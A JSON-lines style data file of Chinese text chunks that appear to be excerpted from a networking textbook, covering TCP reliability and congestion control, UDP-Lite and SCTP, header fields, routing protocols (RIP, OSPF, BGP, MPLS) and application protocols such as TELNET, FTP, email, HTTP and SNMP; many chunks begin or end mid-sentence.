    {"text": "此外，TCP作为一种面向有连接的协议，只有在确认通信对端存在时才会发送数据，从而可以控制通信流量的浪费 （由于UDP没有连接控制，所以即使对端从一开始就不存在或中途退出网络，数据包还是能够发送出去。"},
    {"text": "图6.6 连接 6.4.1 TCP的特点及其目的 为了通过IP数据报实现可靠性传输，需要考虑很多事情，例如数据的破坏、丢包、重复以及分片顺序混乱等问题。"},
    {"text": "TCP通过检验和、序列号、确认应答、重发控制、连接管理以及窗口控制等机制实现可靠性传输。 6.4.2 通过序列号与确认应答提高可靠性 在TCP中，当发送端的数据到达接收主机时，接收端主机会返回一个已收到消息的通知。"},
    {"text": "如果对方迟迟没有任何反馈，说话的一方还可以再重复一遍以保证对方确实听到。 因此，对方是否理解了此次对话内容，对方是否完全听到了对话的内容，都要靠对方的反应来判断。"},
    {"text": "图6.8 数据包丢失的情况 未收到确认应答并不意味着数据一定丢失。 也有可能是数据对方已经收到，只是返回的确认应答在途中丢失。 这种情况也会导致发送端因没有收到确认应答，而认为数据没有到达目的地，从而进行重新发送。"},
    {"text": "6.4.3 重发超时如何确定 重发超时是指在重发数据之前，等待确认应答到来的那个特定时间间隔。 如果超过了这个时间仍未收到确认应答，发送端将进行数据重发。 那么这个重发超时的具体时间长度又是如何确定的呢？"},
    {"text": "然而这个时间长短随着数据包途径的网络环境的不同而有所变化。 例如在高速的LAN中时间相对较短，而在长距离的通信当中应该比LAN要长一些。 即使是在同一个网络中，根据不同时段的网络拥堵程度时间的长短也会发生变化。"},
    {"text": "图6.11 往返时间的计算与重发超时的时间推移 在BSD的Unix以及Windows系统中，超时都以0.5秒为单位进行控制，因此重发超时都是0.5秒的整数倍 （偏差的最小值也是0.5秒。"},
    {"text": "TCP与此相反，它会在数据通信之前，通过TCP首部发送一个SYN包作为建立连接的请求等待确认应答 （TCP中发送第一个SYN包的一方叫做客户端，接收这个的一方叫做服务端。"},
    {"text": "图6.12 TCP连接的建立与断开 6.4.5 TCP以段为单位发送数据 在建立TCP连接的同时，也可以确定发送数据包的单位，我们也可以称其为“最大消息长度”（MSS：Maximum Segment Size）。"},
    {"text": "两端的主机在发出建立连接的请求时，会在TCP首部中写入MSS选项，告诉对方自己的接口能够适应的MSS的大小 （为附加MSS选项，TCP首部将不再是20字节，而是4字节的整数倍。"},
    {"text": "然后会在两者之间选择一个较小的值投入使用 （在建立连接时，如果某一方的MSS选项被省略，可以选为IP包的长度不超过576字节的值（IP首部20字节，TCP首部20字节，MSS 536字节）。"},
    {"text": "图6.13 接入以太网主机与接入FDDI主机之间通信的情况 6.4.6 利用窗口控制提高速度 TCP以1个段为单位，每发一个段进行一次确认应答的处理，如图6.14。"},
    {"text": "然而，在没有使用窗口控制的时候，没有收到确认应答的数据都会被重发。 而使用了窗口控制，就如图6.17所示，某些确认应答即便丢失也无需重发。 图6.17 没有确认应答也不受影响 其次，我们来考虑一下某个报文段丢失的情况。"},
    {"text": "如图6.18所示，接收主机如果收到一个自己应该接收的序号以外的数据时，会针对当前为止收到数据返回确认应答 （不过即使接收端主机收到的包序号并不连续，也不会将数据丢弃而是暂时保存至缓冲区中。"},
    {"text": "而发送端主机如果连续3次收到同一个确认应答 （之所以连续收到3次而不是两次的理由是因为，即使数据段的序号被替换两次也不会触发重发机制。"},
    {"text": "但是，接收端可能收到的是一个毫无关系的数据包又可能会在处理其他问题上花费一些时间。 因此在为这个数据包做其他处理时会耗费一些时间，甚至在高负荷的情况下无法接收任何数据。"},
    {"text": "因此也有可能会因为其他主机之间的通信使得网络拥堵。 在网络出现拥堵时，如果突然发送一个较大量的数据，极有可能会导致整个网络的瘫痪。"},
    {"text": "TCP为了防止该问题的出现，在通信一开始时就会通过一个叫做慢启动的算法得出的数值，对发送数据量进行控制。 图6.20 慢启动 首先，为了在发送端调节所要发送数据的量，定义了一个叫做“拥塞窗口”的概念。 于是在慢启动的时候，将这个拥塞窗口的大小设置为1个数据段（1MSS） （连接建立以后即刻从1MSS开始进行慢启动的话，通过卫星通信等手段提高通信吞吐量所耗的时间会比较长。"},
    {"text": "） 发送数据，之后每收到一次确认应答（ACK），拥塞窗口的值就加1。 在发送数据包时，将拥塞窗口的大小与接收端主机通知的窗口大小做比较，然后按照它们当中较小那个值，发送比其还要小的数据量。 如果重发采用超时机制，那么拥塞窗口的初始值可以设置为1以后再进行慢启动修正。"},
    {"text": "只要拥塞窗口的值超出这个阀值，在每收到一次确认应答时，只允许以下面这种比例放大拥塞窗口： 图6.21 TCP的窗口变化 拥塞窗口越大，确认应答的数目也会增加。"},
    {"text": "而由重复确认应答进行高速重发控制时，慢启动阀值的大小被设置为当时窗口大小的一半 （严格来说，是设置为“实际已发送但未收到确认应答的数据量”的一半。"},
    {"text": "已发送的数据都已经收到确认应答时 可以发送最大段长度（MSS）的数据时 根据这个算法虽然网络利用率可以提高，但是可能会发生某种程度的延迟。"},
    {"text": "当某个接收端收到这个小窗口的通知以后，会以它为上限发送数据，从而又降低了网络的利用率 （这其实是窗口控制特有的问题，专门术语叫做糊涂窗口综合征（SWS：Silly Window Syndrome）。"},
    {"text": "在没有收到2×最大段长度的数据为止不做确认应答（根据操作系统的不同，有时也有不论数据大小，只要收到两个包就即刻返回确认应答的情况。 ） 其他情况下，最大延迟0.5秒发送确认应答 （如果延迟多于0.5秒可能会导致发送端重发数据。"},
    {"text": "再例如远程登录中针对输入的字符进行回送校验 （回送校验是指在远程登录中，从键盘中输入的字符到达服务器以后再返回来显示给客户端的意思。"},
    {"text": "另外，接收数据以后如果立刻返回确认应答，就无法实现捎带应答。 而是将所接收的数据传给应用处理生成返回数据以后进再进行发送请求为止，必须一直等待确认应答的发送。 也就是说，如果没有启用延迟确认应答就无法实现捎带应答。"},
    {"text": "为此，在开发应用的时候，有必要考虑一下是全权交给TCP去处理好，还是由应用自己进行更细微的控制好。 如果需要应用自己处理一些更为细节上的控制，使用UDP协议是不错的选择。 如果转发数据量较多、对可靠性的要求比较高时，可以选择使用TCP。 TCP和UDP两者各有长短，在设计和开发应用时，应准确掌握它们各自协议的特点酌情选择。 6.5 其他传输层协议 在互联网中，很长一段时间主要使用的传输层协议是TCP和UDP两种。"},
    {"text": "然而，除了这两个协议之外还有其他几种传输层协议曾被提案并进行了实验。 最近更是有几个协议从实验阶段步入了实用阶段。 本节旨在介绍部分已经被提案并在今后可能会广泛使用的传输层协议。"},
    {"text": "因为如果发生的错误有可能是UDP首部中的端口号被破坏或是IP首部中的IP地址被破坏 （识别一个通信需要IP地址，而UDP的校验和可以检查IP地址是否正确。"},
    {"text": "这个范围可以是包加上伪首部的校验和计算，可以是首部与伪首部的校验和计算，也可以是首部、伪首部与数据从起始到中间某个位置的校验和计算 （在UDP首部有一个字段表示“包长”。"},
    {"text": "6.5.2 SCTP SCTP（Stream Control Transmission Protocol，流控制传输协议） （SS7协议最初被应用于TCP/IP上时，由于TCP本身使用起来不是很方便，所以人们开发了SCTP协议。"},
    {"text": "例如，笔记本电脑既可以连接以太网又可以连接无线LAN。 同时使用以太网和无线LAN时，各自的NIC会获取到不同的IP地址。 进行TCP通信，如果开始时使用的是以太网，而后又切换为无线LAN，那么连接将会被断开。"},
    {"text": "然而在SCTP的情况下，由于可以管理多个IP地址使其同时进行通信，因此即使出现通信过程当中以太网与无线LAN之间的切换，也能够保持通信不中断。 所以SCTP可以为具备多个NIC的主机提供更可靠的传输 （持有多个NIC的应用服务器中，即使某一个NIC发生故障，只要有一个能够正常工作的NIC就可以保持通信无阻。"},
    {"text": "■ 包长度（Length） 该字段保存了UDP首部的长度跟数据的长度之和 （在UDP-Lite（6.5.1节）中，该字段变为Checksum Coverage，表示校验和的计算范围。"},
    {"text": "因此，包括校验和字段在内的所有数据之和结果为“16位全部为1 （1的补码中该值为0（负数0）、二进制中为1111111111111111，十六进制中为FFFF，十进制中则为65535。"},
    {"text": "不包括选项字段的话，如图6.26所示TCP的首部为20字节长，因此数据偏移字段可以设置为5。 反之，如果该字段的值为5，那说明从TCP包的最一开始到20字节为止都是TCP首部，余下的部分为TCP数据。"},
    {"text": "一般设置为0，但即使收到的包在该字段不为0，此包也不会被丢弃 （保留字段的第4位（如图6.27中的第7位）用于实验目的，相当于NS（Nonce Sum）标志位。"},
    {"text": "SYN（Synchronize Flag） 用于建立连接。 SYN为1表示希望建立连接，并在其序列号的字段进行序列号初始值的设定 （Synchronize本身有同步的意思。"},
    {"text": "FIN（Fin Flag） 该位为1时，表示今后不会再有数据发送，希望断开连接。 当通信结束希望断开连接时，通信双方的主机之间就可以相互交换FIN位置为1的TCP段。 每个主机又对对方的FIN包进行确认应答以后就可以断开连接。 不过，主机收到FIN设置为1的TCP段以后不必马上回复一个FIN包，而是可以等到缓冲区中的所有数据都因已成功发送而被自动删除之后再发。"},
    {"text": "由于校验和字段里保存着除本字段以外其他部分的和的补码值，因此如果计算校验和字段在内的所有数据的16位和以后，得出的结果是“16位全部为1 （1的补码中该值为0（负数0）、二进制中为1111111111111111，十六进制中为FFFF，十进制中则为正整数65535。"},
    {"text": "路由器的程序中也可能会存在漏洞，或程序异常宕掉的可能。 在互联网中发送数据包要经由好多个路由器，一旦在发送途中的某一个路由器发生故障，经过此路由器的包、协议首部或数据就极有可能被破坏。"},
    {"text": "该字段的数值表示本报文段中紧急数据的指针。 正确来讲，从数据部分的首位到紧急指针所指示的位置为止为紧急数据。 因此也可以说紧急指针指出了紧急数据的末尾在报文段中的位置。 如何处理紧急数据属于应用的问题。"},
    {"text": "因此在TCP包的往返时间（RTT）内，只能发送最大64K字节的数据 （例如在RTT为0.1秒时，不论数据链路的带宽多大，最大也只有5Mbps的吞吐量。"},
    {"text": "■ 窗口大小与吞吐量 TCP通信的最大吞吐量由窗口大小和往返时间决定。 假定最大吞吐量为T max ，窗口大小为W，往返时间是RTT的话，那么最大吞吐量的公式如下： 假设窗口为65535字节，RTT为0.1秒，那么最大吞吐量T max 如下： 以上公式表示1个TCP连接所能传输的最大吞吐量为5.2Mbps。 如果建立两个以上连接同时进行传输时，这个公式的计算结果则表示每个连接的最大吞吐量。 也就是说，在TCP中，与其使用一个连接传输数据，使用多个连接传输数据会达到更高的网络吞吐量。 在Web浏览器中一般会通过同时建立4个左右连接来提高吞吐量。"},
    {"text": "为了能让数据包正确达地到达目标主机，路由器必须在途中进行正确地转发。 这种向“正确的方向”转发数据所进行的处理就叫做路由控制或路由。 路由器根据路由控制表（Routing Table）转发数据包。 它根据所收到的数据包中目标主机的IP地址与路由控制表的比较得出下一个应该接收的路由器。"},
    {"text": "7.1.2 静态路由与动态路由 那么，是谁又是怎样制作和管理路由控制表的呢？ 路由控制分静态 （Static Routring） 和动态 （Dynamic Routing） 两种类型。 静态路由是指事先设置好路由器和主机中并将路由信息固定的一种方法。 而动态路由是指让路由协议在运行过程中自动地设置路由控制信息的一种方法。"},
    {"text": "图7.1 静态路由与动态路由 使用动态路由的情况下，管理员必须设置好路由协议，其设定过程的复杂程度与具体要设置路由协议的类型有直接关系。"},
    {"text": "7.1.3 动态路由的基础 动态路由如图7.2所示，会给相邻路由器发送自己已知的网络连接信息，而这些信息又像接力一样依次传递给其他路由器，直至整个网络都了解时，路由控制表也就制作完成了。"},
    {"text": "因此，人们根据路由控制的范围常使用IGP（Interior Gateway Protocol）和EGP（Exterior Gateway Protocol） （EGP是特定的路由协议名称，请不要与其他同名词汇混淆。"},
    {"text": "在区域网络及ISP内部，由构造、管理和运维网络的管理员、运营者制定出路由控制相关方针，然后根据此方针进行具体路由控制的设定。 而接入到区域网络或ISP的组织机构，则必须根据管理员的指示进行路由控制设定。"},
    {"text": "自治系统（路由选择域）内部动态路由采用的协议是域内路由协议，即IGP。 而自治系统之间的路由控制采用的是域间路由协议，即EGP。 7.2.3 IGP与EGP 如前面述，路由协议大致分为两大类。 一类是外部网关协议EGP，另一类是内部网关协议IGP（Interior Gateway Protocol）。"},
    {"text": "就像根据IP地址中的网络部分在网络之间进行路由选择、根据主机部分在链路内部进行主机识别一样，可以根据EGP在区域网络之间（或ISP之间）进行路由选择，也可以根据IGP在区域网络内部（或ISP内部）进行主机识别。"},
    {"text": "7.3 路由算法 路由控制有各种各样的算法，其中最具代表性的有两种，是距离向量（Distance-Vector）算法和链路状态（Link-State）算法。 7.3.1 距离向量算法 距离向量算法（DV）是指根据距离（代价 （Metric是指转发数据时衡量路由控制中距离和成本的一种指标。"},
    {"text": "这种方法在处理上比较简单，不过由于只有距离和方向的信息，所以当网络构造变得分外复杂时，在获得稳定的路由信息之前需要消耗一定时间 （也叫做路由收敛。"},
    {"text": "距离向量算法中每个路由器掌握的信息都不相同。 通往每个网络所耗的距离（代价）也根据路由器的不同而不同。 因此，该算法的一个缺点就是不太容易判断每个路由器上的信息是否正确。"},
    {"text": "而链路状态算法中所有路由器持有相同的信息。 对于任何一台路由器，网络拓扑都完全一样。 因此，只要某一台路由器与其他路由器保持同样的路由控制信息，就意味着该路由器上的路由信息是正确的。 只要每个路由器尽快地与其他路由器同步 （同步一词常用于分布式系统，意指所有系统中保持同样的值。"},
    {"text": "这一过程相当复杂，特别是在一个规模巨大而又复杂的网络结构中，管理和处理代理信息需要高速CPU处理能力和大量的内存 （为此，OSPF正致力于将网络分割为不同的区域，以减少路由控制信息。"},
    {"text": "图7.5 链路状态 7.3.3 主要路由协议 路由协议分很多种。 表7.1列出了主要的几种路由协议。 表7.1 几种路由协议的特点 其中，由于EGP （此处的EGP不是区分IGP与EGP的那个EGP，而是指一种叫做EGP的特定的协议。"},
    {"text": "根据距离向量生成距离向量表，再抽出较小的路由生成最终的路由控制表。 图7.7 根据距离向量生成路由控制表 ▼ 如果距离相等，那么根据路由器的类型选择的路由也会不同，通常是随机选择一个或是轮换使用。"},
    {"text": "不过在这种情况下需要注意以下几点： 从接口的IP地址对应分类得出网络地址后，与根据路由控制信息流过此路由器的包中的IP地址对应的分类得出的网络地址进行比较。"},
    {"text": "因此，采用RIP进行路由控制的范围内必须注意两点：一是，因IP地址的分类而产生不同的网络地址时； 二是，构造网络地址长度不同的网络环境时。"},
    {"text": "如图7.9，路由器A将网络A的连接信息发送给路由器B，路由器B又将自己掌握的路由信息在原来的基础上加1跳后发送给路由器A和路由器C。"},
    {"text": "在有环路情况下，反向的回路会成为迂回的通道，路由信息会不断地被循环往复地转发。 当环路内部某一处发生通信故障时，通常可以设置一个正确的迂回通道。"},
    {"text": "图7.12 毒性逆转和触发更新 然而，纵然使用了到现在为止所介绍的方法，在一个具有众多环路的复杂的网络环境中，路由信息想要达到一个稳定的状态是需要花一段时间的。"},
    {"text": "7.5 OSPF OSPF（Open Shortest Path First）是根据OSI的IS-IS （Intermediate System to Intermediate System Intra-Domain routing information exchange protocol，中间系统到中间系统的路由选择协议。"},
    {"text": "） 赋予一个权重（也可以叫做代价），并始终选择一个权重最小的路径作为最终路由。 也就是说OSPF以每个链路上的代价为度量标准，始终选择一个总的代价最小的一条路径。"},
    {"text": "但是在一个比较复杂的网络中，例如在同一个链路中加入了以太网或FDDI等路由器时，就不需要在所有相邻的路由器之间都进行控制信息的交换，而是确定一个指定路由器（Designated Router），并以它为中心交换 （邻接路由器中相互交换路由信息的关系叫做邻接（Adjancency）。"},
    {"text": "如果版本比较老，则首先发出一个链路状态请求（Link State Request）包请求路由控制信息，然后由链路状态更新（Link State Update）包接收路由状态信息，最后再通过链路状态确认（Link State ACK Packet）包通知大家本地已经接收到路由控制信息。"},
    {"text": "之后在进行连接断开或恢复连接操作时，由于链路状态发生了变化，路由器会发送一个链路状态更新包（Link State Update Packet）通知其他路由器网络状态的变化。 链路状态更新包所要传达的消息大致分为两类：一是网络LSA （Network Link State Advertisement，网络链路状态通告。 ） ，另一个是路由器LSA （Router Link State Advertisement，路由器链路状态通告。"},
    {"text": "网络LSA是以网络为中心生成的信息，表示这个网络都与哪些路由器相连接。 而路由器LSA是以路由器为中心生成的信息，表示这个路由器与哪些网络相连接。"},
    {"text": "7.5.4 将区域分层化进行细分管理 链路状态型路由协议的潜在问题在于，当网络规模越来越大时，表示链路状态的拓扑数据库就变得越来越大，路由控制信息的计算也就越困难。"},
    {"text": "） （Backbone Area），并且所有其他区域必须都与这个主干区域相连接 （如果网络的实际物理构造与此说明不符时，需要采用OSPF的虚拟链路功能设置虚拟的主干或区域。"},
    {"text": "连接区域与主干区域的路由器称作区域边界路由器； 而区域内部的路由器叫做内部路由器； 只与主干区域内连接的路由器叫做主干路由器； 与外部相连接的路由器就是AS边界路由器。"},
    {"text": "区域边界路由器也不会将区域内的链路状态信息全部原样发送给其他区域，只会发送自己到达这些路由器的距离信息，内部路由器所持有的网络拓扑数据库就会明显变小。"},
    {"text": "图7.18 区域内的路由控制和区域之间的路由控制 此外，作为区域出口的区域边界路由器若只有一个的话叫做末端区域（如图7.18中的区域2）。"},
    {"text": "7.6.1 BGP与AS号 在RIP和OSPF中利用IP的网络地址部分进行着路由控制，然而BGP则需要放眼整个互联网进行路由控制。 BGP的最终路由控制表由网络地址和下一站的路由器组来表示，不过它会根据所要经过的AS个数进行路由控制。 图7.19 BGP使用AS号管理网络信息 ISP、区域网络等会将每个网络域编配成一个个自治系统（AS：Autonomous System）进行管理。"},
    {"text": "由JPNIC管理的AS编号一览可以从如下网站获取： http://www.nic.ad.jp/ja/ip/as-numbers.txt 有了AS编号的域，就相当于有了自己一个独立的“国家”。"},
    {"text": "举一个例子，如图7.19所示，为了使AS1与AS3之间能够进行通信，需要有AS2或者AS4与AS5组合起来的两者中的一者进行数据中转 （也叫转接（Transit）。"},
    {"text": "作为距离向量型的RIP协议，因为无法检测出环路，所以可能发生无限计数的问题 （路由进入稳定状态需要一定时间、网络跳数不可超过15等限制，导致无法应用于大型的网络等问题。"},
    {"text": "图7.20 生成路由控制表时要用到AS路径信息访问列表 ■ 路由控制是跨越整个互联网的分布式系统 分布式系统是指多个系统协同完成一个特定任务的系统。"},
    {"text": "互联网中的路由控制，以网络内所有路由器都持有正确的路由信息为基础。 使这些路由器的信息保持准确的协议就是路由协议。 没有这些路由协议协同工作，就无法进行互联网上正确的路由控制。 总之，路由协议散布于互联网的各个角落，是支撑互联网正常运行的一个巨大的分布式系统。"},
    {"text": "7.7 MPLS 现如今，在转发IP数据包的过程中除了使用路由技术外，还在使用标记交换技术。 路由技术基于IP地址中最长匹配原则进行转发，而标记交换则对每个IP包都设定一个叫做“标记”的值，然后根据这个“标记”再进行转发。 标记交换技术中最具代表性的当属多协议标记交换技术，即MPLS（Multi Protocol Label Switching）。"},
    {"text": "图7.22 IP与MPLS转发的基本行为对比 7.7.1 MPLS的网络基本动作 MPLS网络中实现MPLS功能的路由器叫做标记交换路由器（LSR，Label Switching Router）。"},
    {"text": "此外，相比互联网中的主干路由器需要保存大量路由表才能进行处理的现状，MPLS只需要设置必要的几处信息即可，所要处理的数据量也大幅度减少。"},
    {"text": "本章则旨在介绍TCP/IP中所使用的几个主要应用协议，它们多处于OSI模型的第5层以上。 8.1 应用层协议概要 到此为止所介绍的IP协议、TCP协议以及UDP协议是通信最基本的部分，它们属于OSI参考模型中的下半部分。 从本章开始所要介绍的应用协议主要是指OSI参考模型中第5层、第6层、第7层上半部分的协议。 图8.1 OSI参考模型与TCP/IP的应用层 ■ 应用协议的定义 利用网络的应用程序有很多，包括Web 浏览器、电子邮件、远程登录、文件传输、网络管理等。"},
    {"text": "■ 相当于OSI中第5、第6、第7层的协议 TCP/IP的应用层涵盖了OSI参考模型中第5、第6、第7层的所有功能，不仅包含了管理通信连接的会话层功能、转换数据格式的表示层功能，还包括与对端主机交互的应用层功能在内的所有功能。"},
    {"text": "类似地，实现从自己的本地计算机登录到网络另一端计算功能的应用就叫做远程登录。 通过远程登录到通用计算机或UNIX工作站以后，不仅可以直接使用这些主机上的应用，还可以对这些计算机进行参数设置。 远程登录主要使用TELNET和SSH （Secure SHell。"},
    {"text": "图8.3 TELNET中输入命令、运行、展示结果的过程 TELNET经常用于登录路由器或高性能交换机等网络设备进行相应的设置 （由于路由器和交换机一般都不配备键盘和显示器，因此对它们进行设置时可以通过串行线连接计算机，也可以通过使用TELNET、HTTP、SNMP等方法连接网络。"},
    {"text": "而且，如图8.4所示TELNET中的行模式或透明模式两种模式的设置，也是通过TELNET客户端与TELNET服务端之间的选项功能进行设置的。 图8.4 行模式与透明模式 ■ TELNET客户端 所谓TELNET客户端是指利用TELNET协议实现远程登录的客户端程序。"},
    {"text": "TELNET客户端通常与目标主机的23号端口建立连接，并与监听这个端口的服务端程序telnetd进行交互。 当然，也可以与其他的TCP端口号连接，只要在该端口上有监听程序能够处理telnet请求即可。"},
    {"text": "用户可以通过输入telnet 以后，在telnet的命令行里再输入“open 主机名 端口号”的方式进行连接。 但是，从Windows Vista系统以后命令行的telnet功能默认是关闭的，需要单独安装才能使用。"},
    {"text": "） ： telnet主机名 TCP端口号 TCP端口号为21时可以连接到FTP（8.3节）应用，为25时可以连接到SMTP（8.4.4节），为80时可连接到HTTP（8.5节），为110时可连接到POP3（8.4.5节）。"},
    {"text": "因此，以下两个命令可以视为相同： ftp主机名 telnet主机名21 鉴于FTP、SMTP、HTTP、POP3等协议的命令和应答都是字符串，因此通过TELNET客户端连接以后可以直接输入这些协议的具体命令。"},
    {"text": "互联网上有一种FTP服务器是允许任何人进行访问的，这种服务器叫做匿名服务器（anonymous ftp）。 登录这些服务器时使用匿名（anonymous）或ftp都可以 （习惯上该用户的密码为电子邮件地址的情况居多。"},
    {"text": "FTP控制用的连接使用的是TCP21号端口。 在TCP21号端口上进行文件GET（RETR）、PUT（STOR）、以及文件一览（LIST）等操作时，每次都会建立一个用于数据传输的TCP连接。"},
    {"text": "不过，绝大多数FTP服务器都会对长时间没有任何新命令输入的用户的连接强制断开 （在文件传输过程中不会断开连接，而是在文件已经传输完成以后，一段时间没有任何其他命令输入，则断开连接。"},
    {"text": "图8.7 FTP通信中使用两条TCP连接 ■ 通过ASCII码字符串进行的交互处理 FTP中请求命令中使用着“RETR”等ASCII （American Standard Code for Information Interchange的省略。"},
    {"text": "很多情况下，一行字符串表示一个命令或一个应答，而空白则用来标识与参数之间的分割符。 即，命令和应答的消息通过换行区分、参数用空格区分。"},
    {"text": "表8.1列出了FTP主要的命令、表8.2汇总了FTP的应答信息。 表8.1 FTP主要命令 表8.2 FTP的主要应答消息 8.4 电子邮件 图8.8 电子邮件（E-mail） 电子邮件，顾名思义，就是指网络上的邮政。"},
    {"text": "电子邮件还可以提供邮件组的服务。 它是指向邮件组中的所有用户同时发送邮件的功能。 邮件组现在被广泛用于公司或学校下达通知、不同国度的人们讨论共同的话题等场景。"},
    {"text": "发送人编写好邮件以后，其内容会保存在发送端主机的硬盘中。 然后与对端主机建立TCP连接，将邮件发送到对端主机的硬盘。 当发送正常结束后，再从本地硬盘中删除邮件。"},
    {"text": "图8.9 早期的电子邮件发送过程 图8.10 现在互联网中电子邮件的发送过程 为此，在技术上改变了以往直接在发送端与接收端主机之间建立TCP连接的机制，而引进了一种一直会连接电源的邮件服务器 （由于在传输层以上的网络中对通信进行转播，因此邮件服务器相当于1.9.7节中介绍的网关。"},
    {"text": "不过现在，电子邮件所能发送的数据类型已被扩展到MIME （Multipurpose Internet Mail Extensions，广泛用于互联网并极大地扩展了数据格式，还可以用于WWW和NetNews中。"},
    {"text": "具体处理方法为，如果邮件正文的行首有“.”字符时，会在其后面紧接着再追加一个“.”字符。 接收邮件时如果行首出现两个“.”字符，则删除其中一个。"},
    {"text": "并且很多除了自己本域的邮件服务器以外，很多供应商已将网络设置为不与其他网络的25号端口进行通信 （这样叫OP25B（Outbound Port 25 Blocking）。 如果出差地的酒店也进行OP25B的话，可能会导致无法发送邮件，此时一般会使用587端口（Submission Port）。"},
    {"text": "表8.5 SMTP应答 ■ 试用SMTP命令 当允许使用TELNET登录SMPT服务器时，可如表8.5的形式在登录 （关于telnet命令的使用方式可以参考8.2.1节的最后部分。"},
    {"text": "8.4.5 POP 图8.13 POP 前一节提到的SMTP是发送邮件的协议，即，SMTP是想要发送邮件的计算机向接收邮件的计算机发送电子邮件的一种协议。"},
    {"text": "表8.6 POP主要命令 ■ 试用POP命令 当允许使用TELNET登录POP服务器时，在以如下形式登录 （关于telnet命令的使用方式可以参考8.2.1节的最后部分。"},
    {"text": "由于IMAP是在服务器端处理MIME信息，所以它可以实现当某一封邮件含有10个附件时“只下载其中的第7个附件”的功能 （在POP中无法下载某个特定的附件。"},
    {"text": "而且IMAP在服务器上对“已读/未读”信息和邮件分类进行管理，因此，即使在不同的计算机上打开邮箱，也能保持同步，使用起来非常方便 （POP虽然也可以支持在多台计算机中下载邮件内容，但是未读信息和邮箱分组只能在每台计算机的软件中各自进行管理。"},
    {"text": "如此一来，使用IMAP，在服务器上保存和管理邮件信息，就如同在自己本地客户端的某个闪存中管理自己的信息一样简单。 有了IMAP人们就可以通过个人电脑、公司的电脑、笔记本电脑以及智能手机等连接到IMAP服务器以后进行收发邮件。 由此，在公司下载的电子邮件就不必在笔记本电脑和智能手机上转来转去 （不过笔记本电脑和智能手机必须能够连上IMAP服务器才行。"},
    {"text": "而这些页面上所提供的信息不仅仅是文字内容，还有图片或动画乃至声音或其他程序等各式各样的信息。 此外，通过Web页不仅可以获取信息，还可以通过自己制作Web页来向全世界发布信息。"},
    {"text": "8.5.2 WWW基本概念 WWW定义了3个重要的概念，它们分别是访问信息的手段与位置（URI，Uniform Resource Identifier）、信息的表现形式（HTML，HyperText Markup Language）以及信息转发（HTTP，HyperText Transfer Protocol）等操作。"},
    {"text": "8.5.3 URI URI是 Uniform Resource Identifier的缩写，用于标识资源。 URI是一种可以用于WWW之外的高效的识别码，它被用于主页地址、电子邮件、电话号码等各种组合中。"},
    {"text": "如下所示： http://www.rfc-editor.org/rfc/rfc4395.txt http://www.ietf.org：80/index.html http://localhost：631/ 这些例子属于一般主页地址，也被叫做URL（Uniform Resource Locator）。"},
    {"text": "http://www.iana.org/assignments/uri-schemes.html URI的http方案的具体格式如下： http://主机名/路径 http://主机名：端口号/路径 http://主机名：端口号/路径？"},
    {"text": "不过，由于用http方案展现的数据随时都有可能发生变化，所以即使将自己喜欢的页面的URI（URL）记住，也不能保证下次是否还能够访问到该页。"},
    {"text": "在页面中不仅可以为文字或图像附加链接，当用户点击那些链接时还可以呈现该链接所指示的内容，因此它可以将整个互联网中任何一个WWW服务器中的信息以链接的方式展现。 绝大多数互联网中的Web页，都以链接的形式指向关联的其他信息。"},
    {"text": "HTML也可以说是WWW通用的数据表现协议。 即使是在异构的计算机上，只要是可以用HTML展现的数据，那么效果基本上是一致的。 如果把它对应到OSI参考模型，那么可以认为HTML属于WWW的表示层 （HTML不仅用于WWW，有时还用于电子邮件。"},
    {"text": "图8.16 HTML举例 图8.17 用浏览器读取并显示图8.16的内容 ■ XML与Java WWW中将数据存入文件或在应用之间进行交互时会经常使用XML（Extensible Markup Language）。 XML是从SGML （Standard Generalized Ma-rkup Language） 衍生出来的一种语言，与HTML类似，也需要在每个项目的前后加入标签以表达其具体含义。"},
    {"text": "在HTTP1.0中每一个命令和应答都会触发一次TCP连接的建立和断开。 而从HTTP1.1开始，允许在一个TCP连接上发送多个命令和应答 （这种方式也叫保持连接（keep-alive）。"},
    {"text": "表8.8 HTTP的主要命令以及应答报文 ■ 试用HTTP命令 当允许HTTP服务器和TELNET连接时，可以以如下形式登录 （关于telnet命令的使用方式可以参考8.2.1节的最后部分。"},
    {"text": "JavaScript是一种嵌入在HTML中的编程语言，作为客户端程序可以运行于多种类型的浏览器中。 这些浏览器将嵌入JavaScript的HTML下载后，其对应的JavaScript程序就可以在客户端得到执行。"},
    {"text": "这种JavaScript程序用于验证客户端输入字符串是否过长、是否填写或选择了页面中的必须选项等功能 （如果将用户输入正确与否的验证都放在服务端执行的话，给服务器带来的负荷太大。"},
    {"text": "而引入CGI以后客户端请求会触发Web服务器端运行另一个程序，客户端所输入的数据也会传给这个外部程序。 该程序运行结束后会将生成的HTML和其他数据再返回给客户端 （外部程序并不仅局限于使用CGI启动，它也有可能被包含在Web服务器内部的程序里，或是嵌入了解释器的Web服务器程序里。"},
    {"text": "然而，如果使用RSS，则可以将页面的标题、内容中的章节标题和概要、分类、关键字等信息记述下来，只显示页面的概要，提高关键字搜索的精度。 作为发布消息为主的Web站点如果支持RSS，那么用户可以轻松地通过RSS获取该站点的最新消息。"},
    {"text": "SNMP中管理端叫做管理器（Manager，网络监控终端），被管理端叫做代理（路由器、交换机等） （SNMPv3中管理器和代理都叫做实体（Entity）。"},
    {"text": "虽然在SNMPv2中有人提出过安全方面的建议，但是由于最终意见未能达成一致，所以支持基于团体认证方式的SNMPv2c成为了当时的标准。"},
    {"text": "后来的SNMPv3，不仅集合了所有SNMP的功能于同一个版本，定义了个别的功能模块（Component），并可以结合各种不同版本进行通信。 SNMPv3中将“消息处理”、“用户安全”和“访问控制”三部分分开考虑，可以为每一个部选择各自必要的机制。 例如，在消息处理中除了有SNMPv3中所定义的处理模型以外，还有SNMPv1和SNMPv2的处理模型可供选择。 实际上，在SNMPv3中选用SNMPv2的消息处理模型进行通信的情况居多。 消息处理中如果选择了SNMPv2的模型，那么会进行以下8种操作。"},
    {"text": "它们分别是：查询请求，上次要求的下一个信息的查询请求（GetNextRequest-PDU）、应答、设置请求、批量查询请求（GetBulkRequest-PDU）、向其他管理器发送信息通知（InformRequest-PDU）、事件通知、用管理系统定义的命令（Report-PDU）等操作。"},
    {"text": "这些操作类似于计算中的输入输出等基本操作 （计算机中可以向内存中特定的地址写入信息，也可以读取内存中特定地址中的内容，据此进行键盘输入、屏幕显示、磁盘存取等操作。"},
    {"text": "如果出于某种原因网络设备的状况发生变化，将这个变化通知给SNMP管理器时就可以使用Trap。 有了Trap，即使没有管理器到代理的请求，也能在设备发生变化时收到从代理发来的通知。"},
